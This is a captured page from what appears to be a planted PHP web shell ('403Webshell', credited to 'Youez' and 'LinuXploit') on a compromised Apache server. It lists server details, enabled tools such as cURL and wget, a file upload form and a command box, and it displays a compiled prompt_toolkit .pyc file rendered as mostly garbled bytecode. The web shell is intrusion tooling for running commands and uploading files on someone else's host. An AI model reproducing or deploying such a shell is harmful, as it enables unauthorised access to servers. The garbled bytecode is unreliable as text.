403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/prompt_toolkit/input/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/prompt_toolkit/input/__pycache__/defaults.cpython-311.pyc
�

�Ïc�	���ddlZddlZddlmZmZmZddlmZmZm	Z	ddgZ
	d
deed	ed
efd�Zd
ee	fd�Z
dS)�N)�ContextManager�Optional�TextIO�)�
DummyInput�Input�	PipeInput�create_input�create_pipe_inputF�stdin�always_prefer_tty�returnc���tjdkr9ddlm}|�tj�t��S||ptj��Sddlm}|�Ltj}|r>tjtjtj	fD]}|�
��r|}n�	|���n##tj
$rt��cYSwxYw||��S)a�
    Create the appropriate `Input` object for the current os/environment.

    :param always_prefer_tty: When set, if `sys.stdin` is connected to a Unix
        `pipe`, check whether `sys.stdout` or `sys.stderr` are connected to a
        pseudo terminal. If so, open the tty for reading instead of reading for
        `sys.stdin`. (We can open `stdout` or `stderr` for reading, this is how
        a `$PAGER` works.)
    �win32r)�
Win32InputN)�
Vt100Input)�sys�platformrrrr�vt100r�stdout�stderr�isatty�fileno�io�UnsupportedOperation)rr
rr�objs     �?/usr/lib/python3/dist-packages/prompt_toolkit/input/defaults.pyr
r

s	���|�w���%�%�%�%�%�%��=�S�Y�.��<�<���z�%�,�3�9�-�-�-�%�%�%�%�%�%��=��I�E� �
��I�s�z�3�:�>���C��z�z�|�|�� #�����	 ��L�L�N�N�N�N���&�	 �	 �	 ��<�<����	 �����z�%� � � s�B4�4C�Cc��tjdkrddlm}|���Sddlm}|���S)aA
    Create an input pipe.
    This is mostly useful for unit testing.

    Usage::

        with create_pipe_input() as input:
            input.send_text('inputdata')

    Breaking change: In prompt_toolkit 3.0.28 and earlier, this was returning
    the `PipeInput` directly, rather than through a context manager.
    rr)�Win32PipeInput)�PosixPipeInput)rr�
win32_piper�create�
posix_piper )rr s  rrr;sY���|�w���.�.�.�.�.�.��$�$�&�&�&�.�.�.�.�.�.��$�$�&�&�&�)NF)rr�typingrrr�baserrr	�__all__�boolr
r�r$r�<module>r*s���	�	�	�	�
�
�
�
�3�3�3�3�3�3�3�3�3�3�.�.�.�.�.�.�.�.�.�.�����?D�+!�+!��F��+!�7;�+!�
�+!�+!�+!�+!�\'�>�)�4�'�'�'�'�'�'r$

Youez - 2016 - github.com/yon3zu
LinuXploit